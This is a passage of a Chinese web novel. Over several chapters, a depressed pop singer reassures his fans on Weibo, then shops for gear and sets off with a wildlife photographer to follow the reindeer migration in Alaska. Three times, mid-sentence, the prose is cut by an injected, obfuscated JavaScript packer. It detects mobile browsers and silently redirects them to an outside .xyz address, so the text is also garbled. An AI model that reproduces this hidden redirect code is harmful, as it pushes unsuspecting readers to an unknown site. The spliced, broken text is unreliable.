时间越来越晚,门口的粉丝情绪也逐渐高涨,沈青岚却毫无进展,焦虑得脱掉鞋在病房里走来走去。 “岚姐!”就在这时,小米气喘吁吁举着手机跑来,“有条微博疑似灯哥小号,现在已经有一千多转发了!” 沈青岚低头一看,一个叫@灯灯灯灯灯灯灯的id五分钟前发了条微博。 【@灯灯灯灯灯灯灯:谢谢大家的关心,我现在人很好,只是暂时还没法儿和你们见面。我想离开一段时间,去思考一些事情。归期未定,请原谅我的任性。】 照片中,顾灯穿着监控视频里那件冲锋衣坐在窗前,他双手捧着水杯,有些紧张地看向镜头。他身后是阿拉斯加南部峡湾,海水闪耀,一只白头鹰振翅冲向蓝天。 9.初次矛盾 发完微博,顾灯把手机还给章离,不敢看任何评论。他不仅自己不看,还让章离看见骂他的话也别读给他听。 章离于是收起手机,可一抬头,又发现顾灯用渴求的目光盯着自己。 章离刷新微博,说:“才发了两分钟,没多少人看见,不过评论区也有人问是不是本人。” “当然是!”顾灯说,“你再拍张我的照片回复!” 章离打开手机摄像头。 “等等!”顾灯却又迟疑起来,他看向玻璃窗上的反光,伸手抓了抓自己头发,“我这样是不是很难看?” 章离:“不难看。” “啊不行啊,丑死了,我怎么变成了这个样子?”顾灯越看越伤心,发型全无,衣服丑,脸色也很差。 他脱掉冲锋衣,里面是一件泡水后又晒干的羽绒服,更丑了。顾灯纠结了好久,又把冲锋衣穿了回去,语气恹恹的说:“算了,还是别拍了。” 章离:“为什么?” 顾灯:“因为我现在很丑啊!” 看着顾灯现在的模样,章离突然想起在道尔顿公路第一次遇见顾灯的场景。那时顾灯穿着颇有设计感的冲锋衣,头发精致、戴着耳机,年轻时髦又漂亮。 可现在,哪怕顾灯穿着毫无设计的冲锋衣坐在他面前,也并不丑。 “你现在也好看,”章离说,“你骨相和五官都很优秀,发型和衣服只是锦上添花。实际上,你就算剃光头穿麻袋也好看。” 顾灯:“……感觉有点儿恶心。” “我只是陈述事实,”章离丝毫不觉得自己说了什么过分的话,又强调,“我是摄影师,你要相信我的审美。” “你是拍野生动物的!”顾灯反驳,“谁知道你审美点点在哪里?万一你是觉得我好看,是觉得我长得像动物呢?” 章离皱眉,有些茫然地问:“你不喜欢这种形容?” 顾灯反问:“谁会喜欢这种形容?” “抱歉,”章离说,“那我以后不会这样形容你了。” 章离有些遗憾,其实在他看来,动物都长得很漂亮。 他没敢告诉顾灯,他甚至还偷偷用动物比喻过顾灯。顾灯像鸟,因为有好听的声音和漂亮的外表。不过性格上,章离觉得顾灯更像猫。 沉默了一会儿,章离又问:“那照片还拍吗?” 顾灯看了他一眼,说:“可以拍,但拍完要先给我看,我满意了再发。” “行。” 章离虽然是个拍动物的,但顾灯没想到,他拍起人来也有模有样。 或许是拍野生动物时养成的习惯,章离其实不怎么指挥模特,他更擅长的是抓捕人的神态。 顾灯之前合作过许多摄影师,有拍了许多明星的网红,也有国外权威的时尚摄影大拿。那些照片当然也很优秀,时尚、精致、充满美感和艺术性。 但当顾灯看见章离拍的照片时,却霎时愣在了那里,他从没见过这样的自己。 这张照片没有精妙的构图,也没有充满张力的姿势,他就只是坐在窗边,姿势普通,眼神安静,带有淡淡的攻击性。 他以为自己现在的状态一定很糟糕,没有漂亮的衣服,没有完美的发型,皮肤也很差,可他没有想到,自己还能露出这样的表情。 这张照片让人忽视掉他的穿着和打扮,而是透过神态,看见他的内在和灵魂。 原来他是这样的人吗? 顾灯看着照片,都有点儿不认识自己了。 “满意吗?”章离问。 顾灯点头,忍不住又补充:“我很喜欢这张照片。” 章离把照片发到微博评论区,热度瞬间飞涨,每一次刷新都有新消息,转赞评越来越多,十分钟后,章离把手机递了过来:“你看这个。” 其实顾灯一直在偷瞄章离,前面章离表情都很淡定,但这次刷新却变得有些严肃。 顾灯咽了下口水,说:“骂我的?” “不是,”章离说,“你的大号转发了微博。” 岚姐看见了这条微博?! 顾灯拿过手机,看见他大号转发微博,留言:等你回来。 后面还有一张配图,是他妈妈哥哥、经纪人和工作室团队,还有小夜灯在医院门口的合影。 顾灯一张张脸看过去,每一个人都那么熟悉。他停顿了一分多钟,不知怎么点到了刷新。 于是,他看见自己的圈内好友、粉丝站、无数小夜灯在评论区刷着“等你回来”,配图五花八门,他们和顾灯分享自己的日常,学习、工作、旅行、美食、艰难取得的成绩。 无数人生碎片在网络上汇聚,生活有苦有甜,但大家都还在继续。 顾灯低头捂嘴,可最后还是哭出了声。 · 二人没有多做逗留,当晚就返回了安克雷奇。倒不是顾灯急着离开,而是他记得章离行程,如果不是因为他,章离已经在去看驯鹿迁徙的路上了。 抵达安克雷奇已是深夜,顾灯担心耽误章离行程,章离说不急,让他先睡一觉,明天醒来再讨论。 第二天,顾灯被一阵狗刨门声吵醒。顾灯打开房门,迎面飞来一头阿拉斯加,一下就把他扑倒在地。顾灯好不容易抬起头,狗背上又压了一个双马尾乱飞的小朋友。 一人一狗一百多斤,顾灯被压得嗷嗷大叫,很夸张地求饶。 “投降!”邪恶双马尾抓住他头发。 “好,我投降!”顾灯举起双臂,很没骨气地说,“求求长官,请你放过我吧!” 阿里终于爬起来,露出一副“算了,暂时饶过你”的骄傲表情。 顾灯坐起身,伸手揉了把小朋友的头发:“有没有想我?” “想!”阿里回答得超大声。 “汪!”曲奇也跟着叫。 阿里又问顾灯:“那你有没有想我?” “想!”顾灯也回答得很大声。 “阿里,”一道更响亮的女声从楼下传来,“下来吃饭,不然你上学要迟到了!” 阿里抱着曲奇,没有答应。 顾灯:“怎么不回答妈妈?” 阿里嘟哝:“因为我不想上学。” 顾灯:“为什么不想上学?” “因为我们小朋友都不想上学!”阿里冲他扮鬼脸,拖着曲奇哒哒哒下了楼梯。 吃完早饭,章离、顾灯和史密斯三人凑到一起,讨论这次旅行的详细安排。 这支驯鹿队伍四月初从布鲁克斯南篱出发,预计五月底抵达北冰洋沿海平原,总时长50天,迁徙里程超过500公里。 章离把行程分为五段,除了起始点和终点,他还会在中间进行3次补给。 史密斯是章离的联络人,负责章离的后勤保障工作。他会开小飞机把章离送到目的地,再每隔十天提供一次物资。 至于顾灯,会搭乘史密斯的小飞机多次往返。 “等等,”顾灯看向章离,“什么叫做我跟着史密斯一起走,你在中间进行三次补给?” “你不知道吗?”史密斯说,“章要徒步全程。” 顾灯愣了愣,看向章离:“你不坐小飞机?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467461|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 章离:“我要徒步。” 顾灯表情难看起来。 “是不是我说错话了?”史密斯看了眼章离,有些尴尬,“难道他还不知道你的安排?” “是我没有解释清楚,”章离看向顾灯,说,“是我徒步,你和史密斯一起……” “我知道,”顾灯打断他的话,“上次在酒吧时我就知道了。” “顾灯,我……”章离试图解释。 “没事,”顾灯笑着打断他的话,说,“继续吧。” 史密斯看了眼章离,章离点头,会议继续。 接下来就是一些细节确认,例如中途三次补给点史密斯能不能准时抵达,如果不能,又有什么备选方案。 至于徒步过程中的潜在危险,章离没有多做描述。这是他自己要处理的事情,史密斯户外经验不如他,顾灯就更不行了。 这个小会开了近两个小时,最后,章离问史密斯和顾灯:“你们觉得还有哪里要调整的?” 顾灯没说话。 史密斯说:“你真不带枪?遇到熊怎么办?” 章离:“真遇到熊,带枪也没用。” “怎么没用?”史密斯说,“两年前你不是在布鲁克斯山,从一头发狂的棕熊手下救出过观光客?” 章离还是不带,史密斯没辙了,干脆转头和顾灯吐槽章离的臭脾气:“你看看他这幅样子,一旦他决定好的事,别人说什么他也不会听。” 顾灯“嗯”了一声,还有些情绪。 “你呢?”章离转头看他。 “没有。”顾灯说。 会议解散,顾灯回了房间。因为还有工作要做,午餐他们是叫的外卖,典型美式巨无霸汉堡薯条套餐,分量奇大,又油又腻,是顾灯营养师看到会尖叫发疯的食谱。 顾灯食欲全无,象征性吃了几根薯条,从冰箱里拿了根黄瓜啃。史密斯咬了一大口油腻的肉,调侃顾灯吃得比自己女儿还要少。顾灯于是又吃了一根香蕉。 下午,他们本计划陪顾灯去买装备,可章离独自出了门,顾灯又闷声不吭。史密斯左看右看,最后耸耸肩离开,他可不想掺和这种麻烦事。 看着空荡荡的客厅,顾灯感觉自己有点儿可笑,别人说不定只是随口一说,偏偏他还当个宝似的捧起来,当了真。 顾灯回到卧室,拉起被子蒙住脸,决定不去想那些烦心事情。算了,反正他也没有很想去。 不知过了多久,走廊传来一阵脚步声,章离敲响房门:“可以进来吗?” 顾灯没说话。 章离:“你是不是生气了?” 顾灯语气凉凉:“我有什么资格生气?” 章离:“我知道你担心我,是我没有解释清楚,让你产生了误会。” “没误会啊,”顾灯说,“这是你的旅行,你想怎么安排都行。” 门外安静了一会儿,就在顾灯以为人已经离开时,章离声音再次响起:“顾灯,我要开门了。” 顾灯盯着门把手,没说好,但也没有拒绝。 章离开门进来,顾灯蜷缩在被子里,捂得严严实实,像是只缩进壳子里的乌龟。 听见开门声,被子里的人动了一下,又很快保持了安静。 章离没有继续往前,只是站在门口说:“我有必须要徒步的原因,你愿意听听我的解释吗?” 顾灯依旧没反应,可章离也没再继续,只是很有耐心地等在原地。 又过了一会儿,顾灯终于从被子里钻出脑袋,头发乱糟糟,红着眼尾问:“什么原因?” 10.他的私心 章离却松开门把手,说:“我煎了银鳕鱼,下来边吃边聊。” 顾灯:“……” 还想用美食收买他?虽然心里埋怨,但顾灯还是掀开被子下了床。 他没吃过章离做的饭,心里没抱任何希望,没想到色香味俱全。不过阿拉斯加本地就产银鳕鱼,鱼肉新鲜,怎么做都不会难吃。 顾灯吃了七八分饱,放下餐具抬头说:“说吧,你的原因。” 章离给他倒了杯橙汁,沉默了一会儿才说:“这样安排是我的私心。” 顾灯“哦”了声,没什么表情。 章离:“我有个哥哥。” 顾灯继续切鱼:“巧了,我也有哥哥。” “我哥死了。”章离说。 顾灯震惊地抬起头,突然就跟不下去了。 章离表情倒是挺平静的,又说:“跟随驯鹿迁徙是他一直以来的愿望,之前我们都以为还有大把时间,直到现在……” 章离没有继续说下去,但顾灯已经懂了他的意思。如果新闻报道属实,那今年就是章离最后的机会了。 章离继续道:“我表面上说是为了保护环境,才会记录驯鹿迁徙,但其实是为了完成我哥的遗愿。” 顾灯心里有些不是滋味儿,觉得自己之前有些小题大作了,缓声道:“对不起啊,我不知道这些事情。” “没事,”章离说,“我明白,你和史密斯一样,只是担心我的安全。” “那当然了!”顾灯挺起胸膛,又来了底气。 而且说到底,他本来就是担心章离才会那么生气。听到自己朋友要在那么危险的阿拉斯加荒野徒步,谁能不担心?当初在酒吧,连是史密斯都不支持章离的决定。 “可你一定要徒步吗?”顾灯还是有些不放心,“天气那么差,路也不好走,还有熊啊,狼之类的。” 章离说是。 顾灯还想再说点儿什么,又觉得对已死之人不太尊重,只得憋了回去。 “但安全问题你不用担心,”章离向他保证,“我横穿过可可西里,也深入过非洲腹地,亚马逊丛林,我户外经验很丰富,也非常爱惜自己的生命。” 人家话都说到这地步了,顾灯也不好再说什么了,点头道:“你自己有数就行。” 谈话进行到这里,章离面色不再紧绷,他似乎笑了下,对顾灯说:“我会安全回来见你。” “说得好像没有我你就不回来了一样,”顾灯才不吃他这套,嘲讽拉满,“我们这半路搭子的关系,我可受不起。” 章离又说了遍对不起,为了惩罚章离,顾灯命令他陪自己去买露营装备。 他们去了一家大型户外用品店,按照章离的设想,顾灯只需要一些保暖衣物就行,可顾灯却径直看起了帐篷,又问阿拉斯加野外睡袋的规格。 店员推荐了一个1500g填充的鹅绒木乃伊睡袋,说可以适应零下30度的极低温。又说除了睡袋,防潮垫的R值也很重要,还有帐篷的防风指数等。 顾灯听得很仔细,可章离不明白,顾灯又不徒步,为什么也要准备这些? “哦,”顾灯说,“因为我打算和你走一段路。” 章离愣了愣。 顾灯看着琳琅满目的户外商品,说:“反正我也没事做啊,正好去看看呗,光等着多无聊。” 章离:“你可以开我的车随便逛,也可以报旅行团去景点,阿拉斯加有很成熟的野外路线。” 顾灯抬眸看他:“既然都是去野外,我为什么要大费周章和别人一起?” 章离:“因为这条线强度很高,我怕你遇到危险。” 顾灯冷笑:“你也知道难度高?容易遇到危险?” 章离突然不说话了,表情似乎有些感动,但更多是一种无可奈何。 顾灯没想到这人还扮起可怜了,放下东西正对章离,语气也严肃起来:“章离,我是个成年人了,会对自己安全负责,体力不行了自然会离开。而且野外又累又冷,还洗不了澡,我就是图个新鲜而已,又不会和你走完全程。” 章离还是没有说话,他安静地注视着顾灯,漆黑的眼眸在灯下亮得可怕,像是什么锁定猎物的野兽。 顾灯被他看得有点儿不自在,正想说点儿什么岔开话题,章离已经移开视线,很自然地问:“你会滑雪吗?” 顾灯:“巧了,我还真会。” 章离:“那再买一副越野滑雪板,方便在雪里赶路。” 顾灯点头说好。 “还有,帐篷你不用带,我换成双人帐。” “也行吧。”顾灯没有拒绝,章离这么多肌肉就是拿来用的,他自然乐意给自己背包减重。 顾灯挑选着睡袋,又突然警惕起来:“等会儿,你睡觉打呼噜吗?” 章离想了想,说:“我不知道,但应该不打。” 顾灯表情怀疑,警告道:“先说好啊,我不和打呼噜的人一起睡。要是你骗我,我要生气的。” 章离摇头:“不会。” 确认好睡眠环境,顾灯这才放下心来,继续往前走。路过水上活动区时,章离说还要准备一个过河用的橡皮艇。 顾灯:“皮划艇也要带?那你行李得多重啊?” 章离想了想,说:“大概25kg。” 这还是在不算无人机、相机、三脚架、充电宝、备用电池、太阳能充电板的前提下,他全部设备加起来估计有30kg。 顾灯:“……” “我请问,你是准备把自己当成骡子用吗?” 章离觉得这个比喻不严谨,纠正道:“骡子负重比我多得多。” “……” 还和骡子比上负重了。 顾灯彻底无语,又问:“路上河流很多吗?一定要带橡皮艇?” “不多,但有。” “你之前也会带橡皮艇吗?” “不会。” “那你怎么过河?” “游过去。” “……” 顾灯明白了,章离这个皮划艇就是给他准备的。 “不用你带,”顾灯说,“我也可以游过去。” “你游不过去。”章离说。 顾灯:?? 顾灯正要生气,章 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473682|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离又推荐他MRS有款氮气背包船只有0.88kg,几乎不会给负重增加负担。顾灯掂了掂,确实很轻,只比一瓶水重一点而已。 “那我自己背。”顾灯说,这次章离没有拒绝。 大件基本买完了,但顾灯还需要一个专业的徒步背包。这家店有一整面墙的户外背包,大部分都很丑,只有少数几款颜色绚烂,时髦又好看。 顾灯一看就喜欢得不行,伸手一通点点点:“这个我要,还有这个,那个银色的也好看,我全都要了。” 店员和他讲功能,讲面料,讲背负系统。 顾灯通通不管,好看就行,对店员说:“你先把包给我叉下来。” 章离是这家店的熟客,刚去找店员借了个卷尺,准备给顾灯量背长。回来时顾灯脚边已经摆了好几个一日徒步包,正挨个试背。 “章离,”顾灯转头问他,“你看这个怎么样?好看吗?” 他似乎又变成了他们刚见面时,那个活泼热情、对世界充满好奇的顾灯。 章离:“好看。” 顾灯又拿起另一个:“这个呢?” 章离:“也好看。” 顾灯满意起来:“看来我们审美还是比较接近。” 他不喜欢没有审美的人,如果章离品味不好,他会有点儿伤心。 “你呢?刚才干嘛去了?”顾灯又问。 章离拿出卷尺,说要帮他量背长,根据背长选择背包尺寸。 “哦。”顾灯站在原地,转过身背对章离,让他帮自己测量背长。 可等了好一会儿,身后都没有任何动静。 “怎么了?”顾灯回头问。 章离这才说:“可能会有身体接触。” “那不行,”顾灯板着脸说,“摸我一下罚五千。” 章离呆了下,然后开始掏手机,又问顾灯要银行卡账号。 顾灯一愣,随即笑得直不起腰:“你傻啊?怎么还真给钱?” 章离握着手机,表情茫然。 “玩笑你看不出来?”顾灯擦掉眼角的眼泪,摇头说,“都是男人,摸一下又怎么了?更何况,我又不是什么珍稀物品,摸一下还能掉肉吗?” “那冒犯了。”章离说完,伸手掐住了顾灯的腰。 确实是掐这个动作,四指并拢掐住,虎口朝上,双手拇指在后腰滑动,最后按在了腰上最突出的两块儿骨头上。 顾灯腰上一圈痒痒肉,章离摸得他有点儿敏感,但他努力忍住了。 然后章离张开大拇指和中指,一只手按住了那两块儿凸起的骨头,另一只手腾出空来摸顾灯后颈骨,还按了下最凸出的那块儿椎骨。 太痒了,顾灯忍不往前躲,刚动一下,就立刻被章离拉了回来。 “别动。” 男人低沉的声音自身后传来,一只手按住顾灯后腰,一只手抵住后颈,无形中传递出的控制欲,让顾灯有些不知所措。 然后是卷尺拉出的声音,又过了一会儿,章离终于松开双手,说出了一个数字。 顾灯根本没听清,他胡乱地“嗯”了声,没有抬头看章离。 11.探索世界 测完身体数据,章离拿出一个很丑、和一个更丑的登山包,让顾灯选更喜欢哪个。 顾灯一个也看不上,问:“没有别的了?” “有。”章离说完,拿出了一个特别丑的。 顾灯:“……” “太丑了,我下不去手。” 章离转身离开,又拿了几款包过来。顾灯看完后沉默了,无一例外,都很丑。 顾灯服了:“全世界那么多做登山包的企业,怎么就没一家想做好看的?” 章离:“我觉得都挺好看的。” 顾灯:“……” 但这种必备品,再丑也要买一个,顾灯挨个负重试背,最后选了一个65L黑白配色的超轻重装包。 令他惊讶的是,这种包虽然丑是丑,但负重确实很好,顾灯试背10kg的负重沙袋,手拎着很沉,但背起来就跟玩儿似的。这让顾灯信心大增,又试了20kg的负重,竟然也没有太大压力! “我也能背这么多?”顾灯很意外,“那我不也可以跟完全程?” 章离只说:“你先背半小时试试。” 试试就试试,顾灯信心大增,觉得自己浑身都充满了力量。 他背着包选了衣服,徒步鞋,各种御寒衣物。看着这些一件丑过一件的物品,顾灯都已经放弃美感,能保命就行。 最后剩下的一大部分是餐厨系统,气罐、锅、滤水袋、小桌子可以用章离的,但食物还是需要顾灯自己背。 顾灯早就很好奇,章离徒步这么久要吃什么东西。总不能像个野人一样打野吧?可如果自带,十天食物一次带完,重量也不容小觑。 直到章离带他走到一个货架前,指着那一排像是零食包装的塑料袋说:“选你喜欢的口味就行。” 标签上写着冒险餐,口味有肉酱通心粉、培根炒鸡蛋、麦片、炖牛肉、米饭鸡肉……顾灯又翻过背面,终于明白这玩意儿是脱水食物。 超轻,一袋也就100来克,体积也很小巧,保质期…… “30年?”顾灯难以置信,“保质期竟然有30年?” 章离:“这也是应急食品。” 顾灯:“……” 他以为自己在应对末日危机。 虽然嘴上吐槽,但顾灯还是选了十天分的分量,还尽可能搭配各种口味。但一想到接下来十天都要吃这种东西,他又觉得生无可恋起来。 顾灯还是不懂,章离为什么执意要走完全程,这么恶劣的条件,连自虐都不算了,那几乎就是自杀。 章离说是为了完成哥哥的遗愿,那他哥又为什么会有这么离谱的愿望? “怎么了?” 直到章离开口,顾灯才发现自己盯着人家看了好久。 “我肩膀有点儿痛,”顾灯说,“你帮我接一下。” 顾灯放下包继续逛,至于生活物品就能省则省,洗发水沐浴露这些是别想了,在野外用也污染环境,带块儿速干布擦脸就行。 听完后顾灯的表情:-_-|| “我突然又不想徒步了。”顾灯转身佯装要走,章离已经用身体堵住前路,垂眸看了过来,漆黑明亮的眼睛直勾勾盯着人看,野兽似的。 顾灯被看得有些心虚,干笑一声说:“我开玩笑的。” 章离听完终于缓和表情,顾灯没敢再胡言乱语,他还记得刚才章离看他的眼神,怪吓人的。 又逛了好久,他们终于买完了全部东西。顾灯推着购物车去前台结账,却被告知已从卡里扣了金额。 顾灯抬头看向章离:“你这就有些不够意思了吧?” 章离把物品一件件装车,解释:“我知道你不缺这点儿钱,但是我邀请你一起,该我置办装备。” “放屁,”顾灯说,“是我要去,和你有什么关系?” 章离执意:“是我邀请你。” 顾灯皱眉:“可我不喜欢欠人情。” “你没有欠我人情,”章离说,“你已经……” “你可别提那首歌了,”顾灯以为他又要旧事重提,满脸抗拒,“我早试过了,我根本写不出后半段。而且我……我……” 他抬头看向章离,仿佛下定了某种决心:“章离,我已经放弃写歌了。” 四月初,阿拉斯加逐步进入极昼范围,下午六点依旧日头高照。章离背对太阳站着,身体被阳光勾勒出毛绒绒的轮廓。 他就这样看了顾灯一会儿,然后说:“好,我知道了。” 说完这话,他继续往车上堆装备,仿佛刚才只是听到了一个无足轻重的消息。 顾灯愣在原地,松开了右手。 章离装完东西,关门上车。顾灯坐进副驾驶,依旧呆呆的,他机械地系上安全带,眼睛却有些失焦距。 “顾灯,”章离喊他,直到顾灯抬头才继续说道,“你写不写歌,对我来说都一样。” 顾灯还是呆呆的,一副被太阳晒懵了的表情,只是脸颊逐渐有些发烫。 章离继续说道:“而且我刚才说你没有欠我人情,不是因为你送我的作品,而是指你愿意陪我徒步。” 顾灯终于回了神,有些茫然地重复:“因为我陪你徒步?” “嗯,”章离眉眼柔和下来,“不管你走到哪里,我都很感激。” 晚餐章离请客,请顾灯和史密斯一家三口,在进山前吃了最后一顿大餐。 帝王蟹量大管饱,阿里吃得嘴巴就没空过,吃饱后还要打包,给加班的妈妈送去当晚餐。 饭后,史密斯开车带着阿里去找妈妈。朱迪在安克雷奇一家物流公司当中层管理,收入颇丰,但工作量也很大。 顾灯和章离先回家,他们还有工作没完成——要在今晚打包好全部行李。 不想让自己显得太无能,顾灯拒绝了章离的帮助,说他可以独自装好所有东西。直到章离离开,顾灯独自面对小小的登山包和多多的行李,突然觉得要完蛋。 顾灯一直过着极繁的生活,度假出门能带两个28寸行李箱,回来加上购物还要再多两个。 但他本人毫无打包技能,有助理帮忙还好,如果只有他自己,就只会买个大行李箱,一股脑儿把所有东西都塞进去。 这次他也是如法炮制,可包装满了还有一半东西留在外面。 章离洗完澡出来,见顾灯还坐在地毯上,沮丧着脸,敲门问:“需要帮忙吗?” “要!”顾灯瞬间就应了,神色委屈。这已经是他第三次重装,还是没能搞不定。 章离进来盘腿坐在地毯上,先把包清空。顾灯抱着曲奇,好奇地看着他放置物品。 因为是借住史密斯家,章离一直穿得很保守,哪怕洗完澡出来也是一身黑色长裤长袖。站着时还好,一旦他坐下,裤子立刻被撑得满满当当,顾灯用目光粗略估算,章离腿围目测超过60cm,都快赶上他腰了。 这对顾灯来说是一个不小的打击,他抓了个抱枕,打算遮一遮自己瘦弱的大腿。 不知是不是动作太大,章离抬头看了他一眼。 章离抬头时,顾灯那个抱枕正放在裆前,一时间放也不是,挪走也不是。最终他自暴自弃,用手肘压着抱枕说:“看什么?” “没。”章离转过头,继续打包行李,不知是不是太热,耳朵有点红。 在章离的操作下,背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478697|169754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包被一点点填满,刚好放下顾灯的所有行李。不算外挂滑雪板,竟然只有13.9kg重,背上身也很轻巧。 顾灯千感万谢送走章离,去浴室美美洗了个澡。明天就要进山了,他得趁现在有条件洗头洗澡,再敷个面膜,可惜没有条件,不然他还想做个spa。 出来时听见敲门声,顾灯开门,走阿里抱着一只毛绒阿拉斯加玩具站在门口。 “怎么了?”顾灯把毛巾搭在头上,蹲下身问阿里。 “听说你明天就要离开了,我来和你道别。”阿里说完,把毛绒玩具放进他怀里,“这个送你,这是我在学校手工课做的曲奇,希望它能替我陪你一起。” 小朋友一片好意,顾灯自然是收下了。打包时却犯了愁,这玩具倒是不重,但差不多有他小臂那么长,根本塞不进包里。 留下他于心不忍,但又确实没想好要怎么带,包里绝对塞不下,太大只挂起来也不行。 隔壁房间,章离已经关灯准备睡觉,又听见一阵敲门声。 门外,顾灯压着嗓子问:“章离,你睡了吗?” “没,”章离拉开房门,“什么事?” 他自己准备睡了,身上是睡觉穿的背心和短裤。 顾灯本打算在门口说,但又担心被阿里听到,问:“可以进去说吗?” 章离侧身让他进来,打开了壁灯。 “阿里送了我一只曲奇,”顾灯说,“但我不知道该怎么把它带过去,你有办法吗?” 章离有些意外:“她把曲奇送你了?” “是啊。”顾灯双手握着玩偶放到身前,说,“阿里自己做的,可爱吧?” 章离:“……” “我看你挺可爱。” 顾灯:? 他怎么觉得章离在骂他? “所以你究竟有没有办法?”顾灯没好气道。 章离转身在背包里一通翻找,转身时手里握着三捆绳子,问顾灯:“你喜欢哪个?” 顾灯面露警惕:“你要干什么?” 章离:“绑小狗。” 顾灯:?? 他还是不太明白,但选了红色那条。 接下来,章离拿着小狗玩偶和绳子去了顾灯房间,一通操作后,把玩偶用弹力绳捆在了背包外侧,像是给小狗造了一个家。章离还在玩偶外面套了个透明防水袋,这下连下雨都不怕了。 顾灯越看越喜欢,还拍了张照片分享到微博小号。 第二天是个大晴天,他们起了个大早,朱迪开车送他们去机场。窗外是初升的太阳,顾灯坐在小飞机后排,心中思绪万千。 他想起自己决定来阿拉斯加时的时候,那时他刚爆发了一次重度抑郁,整个人自闭又压抑。出发对他来说,是一种破釜沉舟的决绝。 可现在坐在这里,他却感到了一股奇异的安定。这次他不是为了逃避,而是带着期待和好奇,渴望探索世界。 塔台传来起飞指示,飞机开始在跑道上滑行,机舱因为气流发出持续嗡鸣,周围的一切都在迅速后退,然后飞机腾空—— 陆地在脚下收缩,建筑变成微缩模型,城镇之外,是广袤无垠的大地。 顾灯透过玻璃俯瞰这一幕,突然有些哽咽。 他依旧茫然不知前路如何,病情也没有好转,还是写不出歌。可奇怪的是,当他看着冰川和大地,却感到了一股其妙的治愈。 这片土地究竟抚慰了多少失意者的心灵?又有多少人和他一样,在看见这片美景后想要哭泣? 顾灯没有和任何人对话,也没有分享自己的心情,他只是安静地看着这一幕,有些孤独,但也觉得自由。 12.初次露营 飞机行驶在阿拉斯加上空,大地荒凉,河流蜿蜒,雪山像地球的脊背一样高高隆起,不见人类的踪迹。 又过了半个多小时,地面终于出现了人类活动的痕迹。街道和建筑沿着河流分布,像是末日电影中的庇护所。 越过费尔班克斯继续往北,再穿过北极圈,布鲁克斯山脉终于出现在地平线。山体高耸,东西延绵一千公里,像是一堵挡在北冰洋前的冰封岩壁。 飞机高度降低,森林、山川、雪原逐渐变得清晰。 顾灯戴上雪镜,心中好奇:“这里这么大,你们怎么知道驯鹿在哪里?” 章离拿出一块儿小显示屏,说:“有卫星定位器。” 史密斯解释:“科研团队标记了一些驯鹿,通过这些项圈,可以记录下它们的族群、迁徙、以及生活习性。” 顾灯这才明白,原来早有团队研究过驯鹿迁徙。仔细一想也很正常,驯鹿群体如此庞大,年年都要迁徙,不可能只有章离一个人知道这件事。 可章离既然都能拿到数据,为什么不和科研团队一起行动?同行至少还有保障,也不用像现在这样提心吊胆。 顾灯好奇但也没有继续问下去,有时候人和人的相处,需要一些模糊不清。 定位显示驯鹿就在前方的森林里,但飞机不能在山区降落,史密斯就把他们放到了山脚的平原里。 这里的雪厚极了,一脚踩下,瞬间没过了顾灯膝盖。但因为无人抵达,整片雪原洁白又细腻,光是看着就让人心旷神怡。 顾灯张开双臂深吸一口气,严寒消灭了一切气味,只有冷意沁人心脾。 道别史密斯,二人背上登山包,踩着又宽又长的越野滑雪板,朝着驯鹿所在的方向前进。 顾灯爱死了滑野雪时的感觉,他喜欢雪板掠过积雪时松软的触感,还有冷风吹过脸颊的惬意,更别提此刻还能独享美景。 滑雪的时间过得很快,顾灯意犹未尽,他们已经抵达了山脚桦树林。 登山就要辛苦多了,滑野雪的兴奋很快被登山的疲倦取代,顾灯起初还能八字步往上走,可随着山体陡峭增加,他只能横放雪板,像是螃蟹那样一步步往上挪行。 章离在前面开路,用滑雪杖敲掉可能引起雪崩和滑坡的积雪。顾灯缓慢跟在身后,逐渐落后了好长一段距离。有一次他雪板被树根卡住,整个人往下滚了好几米。 雪地松软,顾灯没有受伤,他自己爬起来,又去取脱落的雪板。 前方林地溅起雪雾,章离已经来到他面前:“先别动,放下包活动身体,看有没有哪里疼。” “没事,”顾灯拍掉雪镜上的积雪,说,“被绊了下而已。” 章离忧心忡忡,似乎在自责让顾灯跟来的决定。 “我真没事儿,我之前滑雪时受的伤比这严重多了。”顾灯甚至笑了下,又说,“这次是我不小心,下次不会了。走吧,别耽误行程。” 章离沉默地拎起背包,重新让顾灯背上。 他没有帮顾灯承担的行李,野外帮同伴负重或许可以降低难度,但也很有可能造成他们失散后,顾灯失去所有保命的物品。 这次章离没有先找驯鹿,而是走到半山腰一个相对平坦的空地,打算先在这里扎营。 顾灯有些意外:“不继续走了吗?” 